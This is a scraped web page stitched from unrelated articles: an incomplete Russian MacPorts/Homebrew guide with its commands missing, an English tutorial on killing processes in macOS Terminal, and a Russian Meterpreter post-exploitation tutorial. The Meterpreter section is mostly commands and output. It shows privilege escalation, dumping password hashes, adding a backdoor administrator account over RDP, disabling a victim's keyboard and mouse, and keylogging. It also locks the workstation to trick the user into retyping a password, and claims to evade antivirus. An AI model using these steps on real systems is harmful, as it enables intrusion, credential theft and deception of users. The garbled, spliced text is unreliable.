Pid mac os ��� ��� �����

Установка и работа с менеджером пакетов для Maс OS X (MacPort и Homebrew)

Менеджер пакетов в Mac OS X позволит нам легко работать с пакетам посторонних разработчиков. В этом топике рассмотрим два таких менеджера: MacPort и Homebrew.

1. MacPort

Официальний сайт
На этом же сайте можна найти Mac OS X Package (.pkg) Installer для Mountain Lion, Lion, Snow Leopard и Leopard. Установите подходящий вам пакет и пользуйтесь на здоровье. Есть и другие способы установки, но мы выбрали простой и быстрый. На случей чево, у меня port установился сюда: /opt/local/bin/port.

Требование:

Работать с port придельно просто — ищем в «портах» нужный пакет и устанавливаем его:

Дополнительные команды:

2. Homebrew

Официальная страница
О Homebrew поговорим подробнее…

Требование:
Установка:

После успешной установки виполним следующую команду:

Если в результате этой команди получим ответ: «Your system is raring to brew», тогода все хорошо и можете спокойно начинать работу з brew. В ином случае продолжим…

Если возникла ошибка Warning: Experimental support for using Xcode without the «Command Line Tools», то скорее всего была обновлена «ось», к примеру, с Lion к Mountain Lion, но не была переустановлена Command Line Tools для Xcode.

Если возникла ошибка Error: No such file or directory — /usr/local/Cellar, то нужна создать эту директорию:

После этого опять запускаем команду:

Если мы получим что-то вроде этого:

то исправляем примером так:

Проверяем ище раз:

Если на этот раз никаких ошибок не произошло, тогда все — можна спокойно работать с Homebrew.

Источник

How to View and Kill Processes Using the Terminal in Mac OS X

Occasionally in Mac OS X, it may be necessary to force a program or process to quit. For example, if a particular program fails to respond or unexpectedly hangs. Every application on a Mac comprises of one or more processes.

It’s usually possible to use the Force Quit command (⌘⌥ esc) in the Apple Menu, but only individual applications are listed in the Force Quit Applications window rather than all processes which are running on your computer.

If you are new to using the OSX Terminal, I can recommend the Macintosh Terminal Pocket Guide by Daniel J. Barrett as a great way to get started.

The basic steps to check and kill a process are:

  1. Open the Terminal application
  2. List the running processes
  3. Find the process you want to close
  4. Kill the process

About Terminal

Probably the most useful tool to check and kill processes is called Terminal, which is an application that provides access to the lower levels of the Mac OS X operating system and files. Terminal is a text-based tool which lets you conduct all manner of routine tasks such as viewing directories, copying, moving and deleting files, as well as obtain detailed information about each process running including:

  • the process ID (PID)
  • the elapsed time spent running
  • the command or application file path

About Activity Monitor

A related indispensable application is Activity Monitor – a graphical tool that allows you to manage processes, however it doesn’t have quite the same capabilities that Terminal does. Activity Monitor shows common process-related details such as the memory used and percentage of CPU that each process is consuming. When used together, Activity Monitor and Terminal provide a powerful yet relatively straightforward way to inspect and manage wayward processes.

The main Activity Monitor window is shown below.

Each application on your Mac has an associated Process ID (a PID) and a user-friendly name. From here you can inspect or quit each process, but in this example we use Activity Monitor simply as a companion to Terminal.

Читайте также:  Настройка микрофона windows 10 для стрима

The Apple Mail application is displayed in Activity Monitor with a PID number of 14649. Note that process ID’s are assigned by Mac OS, and therefore will not be the same on your computer as somebody else’s.

The Activity Monitor Application

» data-medium-file=»https://www.chriswrites.com/wp-content/uploads/B1-Pic1-Activity-Monitor-300×220.png» data-large-file=»https://www.chriswrites.com/wp-content/uploads/B1-Pic1-Activity-Monitor.png» loading=»lazy» src data-src=»https://www.chriswrites.com/wp-content/uploads/B1-Pic1-Activity-Monitor.png» alt=»The Activity Monitor Application» width=»550″ height=»404″> The Activity Monitor Application

How to Use Terminal

The first step is to open Terminal either from the Applications -> Utilities folder or simply type Terminal into Spotlight. Terminal is always represented by the icon below.

Once it opens you’ll be presented with a standard Terminal window as below.

The first line shows the date and time when you last logged in. The second line is the command prompt which is where you enter the commands you wish to execute . The command prompt always begins with your computer name followed by your local Account Name.

The current directory (the “working directory”) when you open Terminal always defaults to your Home Folder.

The Terminal Window

» data-medium-file=»https://www.chriswrites.com/wp-content/uploads/B1-Pic3-Terminal-Window-300×191.png» data-large-file=»https://www.chriswrites.com/wp-content/uploads/B1-Pic3-Terminal-Window.png» loading=»lazy» src data-src=»https://www.chriswrites.com/wp-content/uploads/B1-Pic3-Terminal-Window.png» alt width=»550″ height=»351″>

Basic Terminal Commands

Before we describe how to check and terminate a process on your computer it’s worth knowing a few basic Terminal commands.

  • To show the current folder name type pwd
  • To list the files in the current folder type ls -l
  • To move into another folder type cd

Note that many commands in Terminal can accept various options (sometimes called switches) that can alter their effect. The simplest way to discover the available command-line options is to type the command into Terminal followed by -? such as ls -?

Another useful command is apropos. Enter apropos into the Terminal window for a description of that command and its options.

To View All Processes

  1. Type ps -ax at Terminal’s command prompt to list every process running, along with additional details such as the PID, the elapsed time running, and the process name and location (shown in the CMD column)

» data-medium-file=»https://www.chriswrites.com/wp-content/uploads/B1-A2-Pic4-Process-List-300×125.png» data-large-file=»https://www.chriswrites.com/wp-content/uploads/B1-A2-Pic4-Process-List.png» loading=»lazy» src data-src=»https://www.chriswrites.com/wp-content/uploads/B1-A2-Pic4-Process-List.png» alt=»Running Processes Displayed» width=»550″ height=»229″> Running Processes Displayed

To Find a Specific Process

The process list displayed using ps -ax may include a hundred or more processes, but it’s quite simple to identify a process based on the name in the CMD column (for example Skype is listed as /Applications/Skype.app/Contents/MacOS/Skype), or even by the PID if you already know it.

As shown in Activity Monitor earlier, the Mail application on my Mac had the PID 14649, so it’s simple to scroll down the Terminal window until the relevant process is found.

One very useful command to help find a process by name or PID is grep which can filter out the desired information. It can be used in conjunction with the ps -ax command to list only the process that you are interested in.

The “pipe” function (“|”) simply uses the output from the process list as an input to grep, to filter out the desired process name.

Assuming that Skype is actually running, you may see a result something like this:

roly$ ps -ax | grep Skype 14530 ?? 0:56.32 /Applications/Skype.app/Contents/MacOS/Skype -psn_0_9218250 14947 ttys000 0:00.00 grep Skype

This example shows that Skype has a PID of 14530 and also the folder where Skype was launched from. The last line is just the process ID of the grep command itself, which can be safely ignored.

Repeating the command with the Skype process ID instead i.e. ps -ax | grep Skype yields the same result.

To Terminate (Kill) a Process

Once you know the process ID, killing it using Terminal is very simple. Be cautious however because forcing a process to suddenly exit can have unforeseen consequences, so it’s advisable to check carefully that the process you are about to kill is the correct one. There are essentially two easy ways to kill a process:

  1. By PID: the simplest way is with the kill command followed by the PID, which causes the selected process to terminate immediately. In the Sky example, kill 14530 does the job and causes the process to exit immediately
  2. By name: this method uses the killall command to kill all the processes that contain that name. For example killall Skype will terminate all the processes that have Skype in their name
Читайте также:  Загрузка windows раньше linux

Caution: killall should be used sparingly to avoid accidentally terminating the wrong processes. There is no confirmation prompt to ask if you really do wish to kill the processes, so check carefully beforehand.

Before you go

After spending over 20 years working with Macs, both old and new, theres a tool I think would be useful to every Mac owner who is experiencing performance issues.

CleanMyMac is highest rated all-round cleaning app for the Mac, it can quickly diagnose and solve a whole plethora of common (but sometimes tedious to fix) issues at the click of a button. It also just happens to resolve many of the issues covered in the speed up section of this site, so Download CleanMyMac to get your Mac back up to speed today.

Источник

Секреты Meterpreter Payload

Что такое Meterpreter?

Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.

Первым, наиболее частым действием является внедрение в процесс explorer’a. Эту возможность предоставляет команда migrate:

meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов — ps
[*] Migrating to 1888.
[*] Migration completed successfully.

Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:

meterpreter > getsystem
. got system (via technique 1).

Сбор информации

Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197.
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine .
[*] UAC is Disabled
[*] Running Command List .
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands .
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes.
[*] Getting Tokens.
[*] All tokens have been processed
[*] Done!

Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.

Читайте также:  Windows february 2015 update
Удаленный рабочий стол

Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:

meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc

Далее нам потребуется добавить нового пользователя:

meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group ‘������������ ���������� �������� �����’
[*] Adding User: NAME to local group ‘��������������’
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc

Где NAME — имя пользователя, PASSWORD — пароль.

Получить шелл

Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.

Операции с оборудованием

Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:

uictl [enable/disable] Pid mac os ��� ��� �����

Enable — включает; disable — отключает.

meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse.
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse.
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard.
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard.

Кейлогер

Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.

Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2.

Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:

meterpreter > irb
> client.core.use(«railgun»)
=> true

Затем, чтобы заблокировать рабочую станцию:

> client.railgun.user32.LockWorkstation() #блокируем
=> <«GetLastError» =>0. «return» => true> #все в порядке

Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:

meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> <«GetLastError» =>0. «return» => true>

Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.

Вывести диалог с сообщением также просто:

> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)

Подробнее о выводе таких сообщений можете почитать в MSDN.

Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.

Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:

meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор

Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.

Источник

Оцените статью